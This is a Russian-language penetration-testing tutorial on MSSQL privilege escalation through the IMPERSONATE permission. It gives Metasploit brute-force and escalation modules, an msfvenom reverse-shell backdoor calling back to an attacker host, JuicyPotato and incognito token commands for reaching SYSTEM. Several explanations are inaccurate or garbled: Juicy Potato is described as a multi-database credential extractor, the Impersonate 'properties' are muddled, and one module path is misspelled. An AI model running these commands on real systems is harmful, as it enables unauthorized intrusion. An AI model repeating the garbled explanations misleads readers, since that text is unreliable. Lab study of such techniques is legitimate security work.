Тестирование на проникновение MSSQL: команда «Impersonate»

Дата: 16.09.2021. Автор: Игорь Б. Категории: Статьи по информационной безопасности
Тестирование на проникновение MSSQL: команда «Impersonate»

В этой статье пойдет речь о пентестинге MSSQL с помощью команды «Impersonate». Читатели узнают больше о ее возможностях и функциях.

Введение

Команда MSSQL «Impersonate» представляет собой способ аутентификации по другим именам пользователей для выполнения системных запросов. Для этой цели она обычно используется в сочетании с выражением «CREATE USER». При использовании учетной записи SQL Server проверяет, есть ли у пользователя разрешения для доступа ко всем базам данных, к которым отправляется запрос.

Есть много ситуаций, когда необходимо войти в систему в качестве другого пользователя. Например, у человека может не быть привилегий администратора, необходимых для таких задач, как установка нового программного обеспечения или получения доступа к определенным файлам. Однако бывают случаи, когда это все еще невозможно, даже если у пользователя есть соответствующий уровень привилегий. В этом случае корпорация Microsoft предлагает использовать функцию под названием «Impersonate». Это одна из встроенных и простых в использовании функций безопасности. Далее читатели узнают, как применить ее с Microsoft SQL Server Management Studio (SSMS).

Нужно понимать несколько важных моментов, прежде чем начинать: во-первых, в SQL Server есть процесс входа в систему, который требует аутентификации с действительным именем пользователя и паролем. Когда человек входит в систему как обычный пользователь, SSMS запросит его пароль. Следующее, о чем следует знать, — это сама концепция «Impersonate»: человек может войти в систему как один пользователь, но потом сменить свою роль. Это означает, что если текущая учетная запись не подходит для выполнения задачи, можно переключиться на другую и все равно успешно завершить свою работу.

Свойства команды «Impersonate»

Есть различные способы использования команды «Impersonate» на сервере MSSQL. Вот некоторые из них:

  • К примеру, можно представить, что клиентскому приложению необходим доступ к базе данных на сервере, но клиент не работает на привилегированной учетной записи. В этом случае «Impersonate» в MSSQL позволит клиентскому приложению получить доступ к базе данных без учетных данных для доступа к ней на сервере. Это полезно при проектировании веб-служб или служб для обмена файлами, в которых анонимные или не прошедшие проверку подлинности пользователи могут загружать файлы. Клиентское приложение получит доступ к базе данных без предоставления учетных данных после включения функции «Impersonate» с помощью учетной записи анонимного пользователя. Одни и те же учетные данные понадобятся для создания/удаления/копирования таблиц.
  • Все строки подключения к базе данных, не предоставленные учетной записью службы, требуют использования функции «Impersonate» со стороны сервера. Администратору потребуется настроить все строки подключения за один раз и убедиться, что они были подготовлены соответствующим образом с нужными привилегиями для каждого серверного приложения.
  • Еще одной причиной использования команды «Impersonate» является ее совместимость с Active Directory Users and Computers (ADUC). ADUC – это полезный инструмент для работы с учетными записями и группами в домене: можно создавать или удалять учетные записи, включать или отключать их, устанавливать срок действия пароля и в целом управлять объектами пользователей в домене Active Directory (AD). Однако ADUC не дает возможности добавлять или обновлять пользовательские данные для пользовательских объектов; вместо этого он позволит редактировать данные, хранящиеся только в стандартных полях, таких как имя, фамилия и т.д. Команда «Impersonate» дает возможность MSSQL представляться членом группы пользователей домена в OS при подключении к серверу. Это означает, что пользователи могут вместе использовать ADUC без особых привилегий.   
  • Можно применять команду «Impersonate» для выполнения «хранимых процедур (SPs)» и триггеров на удаленном сервере. Что же делает SQL Server при задействовании «Impersonate»: он выполняет «user=<user>» в качестве контекста TRUST для всех удаленных SPs и триггеров. Это дает возможность пользователям T-SQL получать доступ к базе данных, используя свои учетные данные Windows/AD, без их предоставления SQL Server при каждом вызове.
  • «Impersonate» также может вызывать функцию базы данных или хранимую процедуру, которая использует определенного пользователя контекста (например, членов database role). Используя эту опцию, человек может разрешить пользователям, добавленным в определенную группу, запускать «олицетворение сервера» только с одним подключением.

Безопасность и команда «Impersonate»

Эта команда позволяет пользователю выдавать себя за другого пользователя в MSSQL и создавать учетные данные для входа. Последствия использования данной функции в плане безопасности заключаются в том, что если кто-то может выдать себя за другого человека в базе данных, он может войти в любое приложение, требующее аутентификации, без необходимости знать какие-либо пароли или личную информацию. Это именно то, что будет исследовано в данной статье.

Знакомство с Juicy Potato

Пользователь будет тестировать функцию «Impersonate» с помощью двух инструментов: Metasploit и Juicy Potato. Многие уже знакомы с Metasploit. Сейчас пойдет речь о Juicy Potato, который можно скачать, перейдя по ссылке.

Инструмент Juicy Potato используется для взлома или подражания входа в систему SQL. Он автоматически извлекает имя пользователя и пароль с SQL-сервера. Таким образом, пользователи могут использовать инструмент для взлома своей или чужой базы данных без каких-либо ошибок. Вся информация будет сохранена на их компьютере.

Стоит отметить, что этот инструмент можно использовать для извлечения информации из определенной таблицы или столбца. Это очень удобно для пентестеров во время анализа базы данных и удаления важных компонентов. Программу также можно применять для входа в базу данных без информации об имени для входа. Этот инструмент является единственным в своем роде; он предназначен для быстрого и простого извлечения всей необходимой информации из SQL Server, MySQL, MS Access, Oracle и IBM DB2. Программа также может создавать файлы доступа и скрипты. Пользователь имеет возможность настроить вывод данных в соответствии со своими требованиями. Таким образом, это позволяет ему делать все, что он захочет, с базой данных в один щелчок мыши.

Этот инструмент обладает множеством функций, которые делают его надежным и простым в использовании. Он будет полезен для сетевых администраторов, пентестеров, хакеров. Программа выполняет поставленные задачи без каких-либо проблем и ошибок. Она легко настраивается, что позволяет пользователю выбрать все параметры в соответствии со своими желаниями. Человеку не требуются какие-либо особые знания ПК или программирования, чтобы использовать этот инструмент.

Включение функции «Impersonate» (GUI)

Чтобы узнать, как включить функцию «Impersonate», следует начать с создания нового пользователя. Пользователь переходит по следующему пути: «server>Security>Logins». Здесь он щелкнет правой кнопкой мыши на «Logins» и выберет опцию «New Login» из раскрывающегося меню, которое появится после щелчка.

Тестирование на проникновение MSSQL: команда «Impersonate»

Откроется диалоговое окно: в нем нужно ввести имя пользователя и пароль. Следует убедиться, что флажок «Enforce password policy» снят, а затем нажать на кнопку «ОК».

Тестирование на проникновение MSSQL: команда «Impersonate»

Справа пользователь увидит, что новый юзер был создан (с именем «lowpriv»). Теперь он щелкнет правой кнопкой мыши на него. Появится раскрывающееся меню. В этом раскрывающемся меню пользователь выберет пункт «Properties».

Тестирование на проникновение MSSQL: команда «Impersonate»

В диалоговом окне «Properties» можно увидеть, что единственным включенным свойством является общедоступное («public»).

Тестирование на проникновение MSSQL: команда «Impersonate»

Теперь на правой панели пользователь может заметить, что есть опция, которая называется «Securables». Он нажмет на нее, а затем кликнет на кнопку «Search». После этого откроется диалоговое окно. В диалоговом окне будут предложены три варианта на выбор. Пользователь выбирает «Specific objects» и нажимает на кнопку «ОК».

Тестирование на проникновение MSSQL: команда «Impersonate»

Откроется другое диалоговое окно: в нем следует нажать на кнопку «Object Types», которая откроет другое меню. В нем пользователь выбирает опцию «Login», а затем нажимает на кнопку «ОК».

Тестирование на проникновение MSSQL: команда «Impersonate»

Теперь нужно выбрать пользователя, чей логин следует выдать за себя. Человек выбирает пользователя sa. После того как юзер будет выбран, необходимо кликнуть на кнопку «ОК».

Тестирование на проникновение MSSQL: команда «Impersonate»

Теперь, если проверить разрешения для пользователя sa, то можно увидеть, что разрешение на выдачу себя за другого пользователя включено.

Тестирование на проникновение MSSQL: команда «Impersonate»

Эксплойт MSSQL с помощью команды «Impersonate»

Metasploit

Чтобы произвести эксплойт MSSQL с помощью «Impersonate», сначала нужно найти имя пользователя и пароль. Можно развернуть следующий эксплойт, который будет использовать атаку со словарями и поможет найти учетные данные пользователя:

use auxiliary/scanner/mssql/mssql_login
set rhosts 192.168.1.146
set user_file /root/users.txt
set pass_file /root/pass.txt
set verbose false
exploit
Тестирование на проникновение MSSQL: команда «Impersonate»

Как можно заметить, теперь у пользователя есть учетные данные. Он проверит, можно ли запустить новый эксплойт «mssql_payload». Если этот эксплойт успешно выполняется сам по себе, это будет означать, что данный пользователь имеет право на это. В противном случае нужно будет использовать другой эксплойт для запуска функции «Impersonate». Чтобы запустить выбранный эксплойт, используется следующий набор команд:

use exploit/windows/mssql/mssql_payload
set rhosts 192.168.1.146
set username lowpriv
set password [email protected]
exploit

Как видно, эксплойт успешно не выполняется. Итак, теперь пользователь решает использовать другой эксплойт, который вызовет включение свойства «Impersonate». Для этого вводится команда:

use auxiliary/widows/mssql/mssql_escalate_execute_as
set rhosts 192.168.1.146
set username lowpriv
set password [email protected]
exploit
Тестирование на проникновение MSSQL: команда «Impersonate»

В результате примененного эксплойта можно увидеть, что пользователь lowpriv теперь является членом группы системных администраторов, поскольку он выдает себя за пользователя sa. Таким образом, теперь пользователь sa также будет системным администратором.

Тестирование на проникновение MSSQL: команда «Impersonate»

Теперь, если человек запустит первый эксплойт («mssql_payload»), то у него будет сеанс meterpreter.

Тестирование на проникновение MSSQL: команда «Impersonate»

Когда у пользователя есть сеанс meterpreter, он может перейти в Shell и посмотреть, какие привилегии есть у него с помощью команды «whoami». С помощью команды «whoami /priv» можно также проверить, включена ли функция «Impersonate» или нет.

Тестирование на проникновение MSSQL: команда «Impersonate»

Повышение привилегий

Juicy Potato

Теперь, чтобы получить доступ к полномочиям\системе, будет создан исполняемый файл с бэкдором с помощью «msfvenom». Для этого вводится команда:

msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.2 lport=8888 -f exe > backdoor.exe
Тестирование на проникновение MSSQL: команда «Impersonate»

Как можно заметить, файл был создан. Теперь пользователь сделает две вещи. Сначала он запустит Juicy Potato, а потом загрузит свой файл backdoor.exe. Для этого пользователь переходит к сеансу meterpreter, который он ранее получил. Он введет следующие команды:

cd c:\\Users\\Public
upload /root/Downloads/JuicyPotato.exe .
upload /root/Downloads/backdoor.exe .
Тестирование на проникновение MSSQL: команда «Impersonate»

Juicy Potato позволяет человеку перейти от SEImpersoalPrivlege к SYSTEM. Для этого нужен файл .exe, который будет работать в качестве полезной нагрузки; пользователь загрузит его в общедоступный каталог. Загрузка EXE-файла и эксплойта Juicy Potato будет осуществляться через MS SQL Shell. Для успешного запуска Juicy Potato потребуется идентификатор CLSID. Такой список уже доступен в репозитории GitHub JuicyPotato (для каждой ОС). Далее нужно просто выполнить следующую команду:

JuicyPotato.exe -l 8888 -p backdoor.exe -t * -c {B91D5831-B1BD-4608-8198-D72E155020F7}
Тестирование на проникновение MSSQL: команда «Impersonate»

После выполнения приведенной выше команды можно активировать листенер netcat для получения сеанса.

Тестирование на проникновение MSSQL: команда «Impersonate»

Как только пользователь получит сеанс netcat, он использует команду «whoami», чтобы проверить, что у него есть доступ к authority\system.

Токен «Impersonate»

Другой способ получить доступ к authority\system – это выдать себя за токен. Для этого пользователь загрузит расширение incognito в сеансе meterpreter, а затем вызовет списки токенов. Можно увидеть, что есть системный токен. Доступ через этот токен – это все, что нужно для получения привилегий. Для этого пользователь выдаст себя за указанный токен, просто используя команду «impersonate_token». Как только он успешно осуществит это, то сможет проверить свои возможности с помощью команды «whoami». Для всего этого используется следующий набор команд:

load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
shell
whoami
Тестирование на проникновение MSSQL: команда «Impersonate»

И вуаля! У пользователя есть такой желаемый доступ и привилегии. Таким образом, с помощью данных методов можно протестировать MSSQL с помощью команды «Impersonate».

Автор переведенной статьи: Raj Chandel.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Игорь Б

Об авторе Игорь Б

Автор на портале cisoclub.ru. Добавляйте ваш материал на сайт в разделе "Разместить публикацию".
Читать все записи автора Игорь Б

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *